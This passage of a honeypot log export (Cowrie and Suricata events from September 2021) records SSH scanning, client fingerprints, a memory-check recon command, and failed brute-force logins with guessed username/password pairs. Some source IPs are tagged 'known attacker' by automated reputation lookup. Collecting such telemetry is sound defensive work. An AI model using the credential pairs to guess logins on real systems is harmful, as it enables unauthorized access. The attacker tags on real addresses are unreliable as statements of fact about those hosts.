"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52866, "dest_port": 22, "timestamp": "2021-09-20T11:06:18.652071", "@timestamp": "2021-09-20T11:06:18.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22149	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:19.015772+03	2021-09-20 14:15:04.560614+03	{"_id": "LQXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7d1c23bc7452", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:19.015772Z", "@timestamp": "2021-09-20T11:06:19.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22150	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:19.013689+03	2021-09-20 14:15:04.561613+03	{"_id": "BAXiAnwBvYTbRNuEof0L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e2d4c1312798", "@version": "1", "duration": 2.5227997303009033, "timestamp": "2021-09-20T11:06:19.013689Z", "@timestamp": "2021-09-20T11:06:19.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22151	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:06:19.25032+03	2021-09-20 14:15:04.562612+03	{"_id": "MwXiAnwBvYTbRNuEo_3R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 1860203673543981, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 64098, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.250320Z", "@timestamp": "2021-09-20T11:06:19.250Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22152	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:20.531581+03	2021-09-20 14:15:04.563612+03	{"_id": "bAXiAnwBvYTbRNuEqP3c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "223.241.247.214", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5708062648773193, "duplicate": true, "timestamp": "2021-09-20T11:06:20.531581Z", "@timestamp": "2021-09-20T11:06:20.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
22153	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:22.077144+03	2021-09-20 14:15:04.565612+03	{"_id": "ngXiAnwBvYTbRNuErP3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [123456789/123456789] failed", "session": "ca30ea541b77", "@version": "1", "password": "123456789", "username": "123456789", "timestamp": "2021-09-20T11:06:22.077144Z", "@timestamp": "2021-09-20T11:06:22.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22154	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:21.261664+03	2021-09-20 14:15:04.566614+03	{"_id": "oAXiAnwBvYTbRNuErP3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2759bab7190a", "@version": "1", "duration": 2.9407594203948975, "timestamp": "2021-09-20T11:06:21.261664Z", "@timestamp": "2021-09-20T11:06:21.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22155	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:21.896994+03	2021-09-20 14:15:04.567613+03	{"_id": "ogXiAnwBvYTbRNuErP3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [george/george] failed", "session": "ad36bfa95a36", "@version": "1", "password": "george", "username": "george", "timestamp": "2021-09-20T11:06:21.896994Z", "@timestamp": "2021-09-20T11:06:21.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22156	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:16.968152+03	2021-09-20 14:15:04.568613+03	{"_id": "zgXiAnwBvYTbRNuEnPwA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 173690275254818, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44702, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.968152Z", "@timestamp": "2021-09-20T11:06:16.968Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22157	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:17.17714+03	2021-09-20 14:15:04.569612+03	{"_id": "zQXiAnwBvYTbRNuEnPwA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 2217128340443590, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex", "is_ssh_client_banner"]}, "src_port": 60562, "dest_port": 22, "timestamp": "2021-09-20T11:06:17.177140Z", "@timestamp": "2021-09-20T11:06:17.177Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22158	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:18.016746+03	2021-09-20 14:15:04.571613+03	{"_id": "-wXiAnwBvYTbRNuEn_zo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1427799250910199, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33754, "dest_port": 22, "timestamp": "2021-09-20T11:06:18.016746Z", "@timestamp": "2021-09-20T11:06:18.016Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22159	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:18.321951+03	2021-09-20 14:15:04.572613+03	{"_id": "AwXiAnwBvYTbRNuEof0L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2759bab7190a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:18.321951Z", "@timestamp": "2021-09-20T11:06:18.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22160	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:18.174292+03	2021-09-20 14:15:04.573612+03	{"_id": "HgXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a7a012468805", "@version": "1", "timestamp": "2021-09-20T11:06:18.174292Z", "@timestamp": "2021-09-20T11:06:18.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22161	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:18.178015+03	2021-09-20 14:15:04.574613+03	{"_id": "HwXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8dd3642a323b", "@version": "1", "duration": 2.6395676136016846, "timestamp": "2021-09-20T11:06:18.178015Z", "@timestamp": "2021-09-20T11:06:18.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
39280	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:34:53.221688+03	2021-09-20 15:45:02.58002+03	{"_id": "sgYzA3wBvYTbRNuEuXUY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 61169, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1160173744644600, "@version": "1", "in_iface": "enp5s0", "src_port": 39421, "dest_port": 53, "timestamp": "2021-09-20T12:34:53.221688Z", "@timestamp": "2021-09-20T12:34:53.221Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22162	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:18.627384+03	2021-09-20 14:15:04.576613+03	{"_id": "IAXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6bd485b75f89", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:18.627384Z", "@timestamp": "2021-09-20T11:06:18.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22163	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:19.009309+03	2021-09-20 14:15:04.577613+03	{"_id": "IQXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:19.009309Z", "@timestamp": "2021-09-20T11:06:19.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
22164	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:19.009856+03	2021-09-20 14:15:04.578612+03	{"_id": "IgXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:19.009856Z", "@timestamp": "2021-09-20T11:06:19.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22165	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:06:19.250393+03	2021-09-20 14:15:04.579613+03	{"_id": "MAXiAnwBvYTbRNuEo_3R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:06:19.124205+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1860203673543981, "payload": 